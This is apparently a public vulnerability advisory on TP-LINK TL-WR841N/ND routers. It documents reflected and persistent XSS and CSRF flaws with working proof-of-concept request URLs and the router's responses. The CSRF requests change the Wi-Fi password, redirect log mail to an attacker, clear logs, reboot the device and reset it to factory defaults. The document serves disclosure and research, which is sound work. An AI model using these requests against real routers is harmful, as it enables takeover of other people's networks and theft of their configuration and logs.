#; TP-LINK Model No. TL-WR841N / TL-WR841ND

TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
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Full title 	TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
Date add 	2014-06-30
Category 	web applications
Platform 	hardware
Risk 	[<font color="#FFBF00">Security Risk High</font>]
Vendor 	tplink.com
Affected ver 	TL-WR841N / TL-WR841ND
Tested on 	Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux
Solution 	CSRF prevention mechanism and solid parameters filtration.
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Description:
TP-LINK TL-WR841N / TL-WR841ND are vulnerable to many CSRF and XSS attacks because of no CSRF prevention technique and poor parameters filtration. Attacker is able to compromise router and steal config & log files.
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#Title: TP-LINK Model No. TL-WR841N / TL-WR841ND - Multiple Vulnerabilities
#Date: 30.06.14
#Vendor: TP-LINK
#Affected versions: TL-WR841N / TL-WR841ND
#Tested on: Firmware Version - 3.13.27 Build 121101 Rel.38183n, Hardware Version - WR841N v8 00000000 [at] Linux
#Contact: smash [at] devilteam.pl

#1 - Reflected XSS in Wireless Settings

Vulnerable parameters - ssid1, ssid2, ssid3, ssid4.

Variables of ssid parameters are being included to wlanPara array. Because of poor filtration of those values, it is able to execute specific javascript command as shown below.

While system log and config is being saved as local file (http://192.168.0.1/userRpm/SystemLog.txt & http://192.168.0.1/userRpm/config.bin), it is able to hjiack both via xss.

Request:
http://192.168.0.1/userRpm/WlanNetworkRpm.htm?ssid1=ROUTERNAME</script><script>alert(123)</script>&ssid2=ROUTERNAME_2&ssid3=ROUTERNAME_3&ssid4=ROUTERNAME_4&region=101&band=0&mode=5&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"
(...)
<SCRIPT language="javascript" type="text/javascript">
var wlanPara = new Array(
0,8,0,"ROUTERNAME</script><script>alert(123)</script>",108,101,1,5,1,1,15,2,71,0,0,0,"cript>","ROUTERNAME_3","ROUTERNAME_4",691810163,0,0,0,"","",1,"",1,1,3,3,0,1,1,36,0,0,"","","","","","","","",1,"",0,"","",1,0,0,1,0,1,0,0 );
</SCRIPT>

#2 - Persistent XSS & CSRF in Wireless Security Settings

Vulnerable parameter - pskSecret.

Same as above, variable of pskSecret (password) is being included in javascript array. Because of no CSRF prevention, it is able to change the password by visiting url below. pskSecret value is responsible for further password.

Request:
http://192.168.0.1/userRpm/WlanSecurityRpm.htm?secType=3&pskSecOpt=2&pskCipher=3&pskSecret=test&interval=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=0&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var wlanPara = new Array(
8, 1, 3, "332", 1, 0, "", 1812, "", "</script><script>alert(123)</script>", 1, 0, 0, 1, 3, 0, 0, 0, 5, 0, 1, "", 1,
0,0 );
</SCRIPT>

#3 - Persistent XSS & CSRF in Mail Settings

Vulnerable parameters - FromAddr, ToAddr, SMTPAddr.

Reason is the same.

Request:
http://192.168.0.1/userRpm/AutoEmailRpm.htm?FromAddr=test%40test.com&ToAddr=test1%40test.com&SMTPAddr=</script><script>alert(123)</script>&User=&Password=&VeriPass=&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var autoEmailConf = new Array(
"test@test.com",
"test1@test.com",
"</script><script>alert(123)</script>",
0,
"",
0,
0,
0,
0,
0,0 );
</SCRIPT>

It is able to steal system logs by forcing our victim to set our mail settings via csrf, then logs will be send after visiting address below:
http://192.168.0.1/userRpm/SystemLogRpm.htm?doMailLog=2

#4 - Persistent XSS & CSRF in Time Settings

Vulnerable parameters - ntpA & ntpB.

Request:
http://192.168.0.1/userRpm/DateTimeCfgRpm.htm?timezone=0&month=7&day=1&year=2014&hour=2&minute=44&second=18&ntpA=</script><script>xssed<>&ntpB=&isTimeChanged=0&start_month=0&start_count=0&start_week=1&start_hour=0&end_month=0&end_count=0&end_week=1&end_hour=0&isDaylightSavingChanged=0&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var timeInf = new Array(
7,
1,
2014,
2,
58,
52,
0,
"</script>xssed<>",
"0.0.0.0",
2,
2,
0,
2,
10,
1,
0,
3,
0,
0,
0,0 );
</SCRIPT>

#5 - Persistent XSS & CSRF in Dynamic DNS settings

Vulnerable parameters - username, password, cliUrl.

Request:
http://192.168.0.1/userRpm/NoipDdnsRpm.htm?provider=3&username=</script><script>alert(123)</script>&pwd=password&cliUrl=&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var serInf = new Array(
"</script><script>alert(123)</script>",
"password",
"",
0,
0,
3,
2,
0,
1,
0,0 );
</SCRIPT>

#6 - Persistent XSS & CSRF in DHCP settings

Vulnerable parameter - domain.

Request:
http://192.168.0.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.0.100&ip2=192.168.0.199&Lease=120&gateway=192.168.0.1&domain=</script>xssed<>&dnsserver=0.0.0.0&dnsserver2=0.0.0.0&Save=Save

Response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
Content-Type: text/html
WWW-Authenticate: Basic realm="TP-LINK Wireless N Router WR841N"

<SCRIPT language="javascript" type="text/javascript">
var DHCPPara = new Array(
1,
"192.168.0.100",
"192.168.0.199",
120,
"192.168.0.1",
"</script>xssed<>",
"0.0.0.0",
"0.0.0.0",
1,
0,0 );
</SCRIPT>

#7 - Other CSRF's

 a) Clear system logs

http://192.168.0.1/userRpm/SystemLogRpm.htm?logType=0&logLevel=7&ClearLog=Clear+Log&selPage=1&Page=1

 b) Reboot device

http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reboot

 c) Factory defaults reset (admin:admin)

http://192.168.0.1/userRpm/RestoreDefaultCfgRpm.htm?Restorefactory=Restore

Actually, there is no prevention technique to avoid csrf in this one; bug's pointed above are most interesting.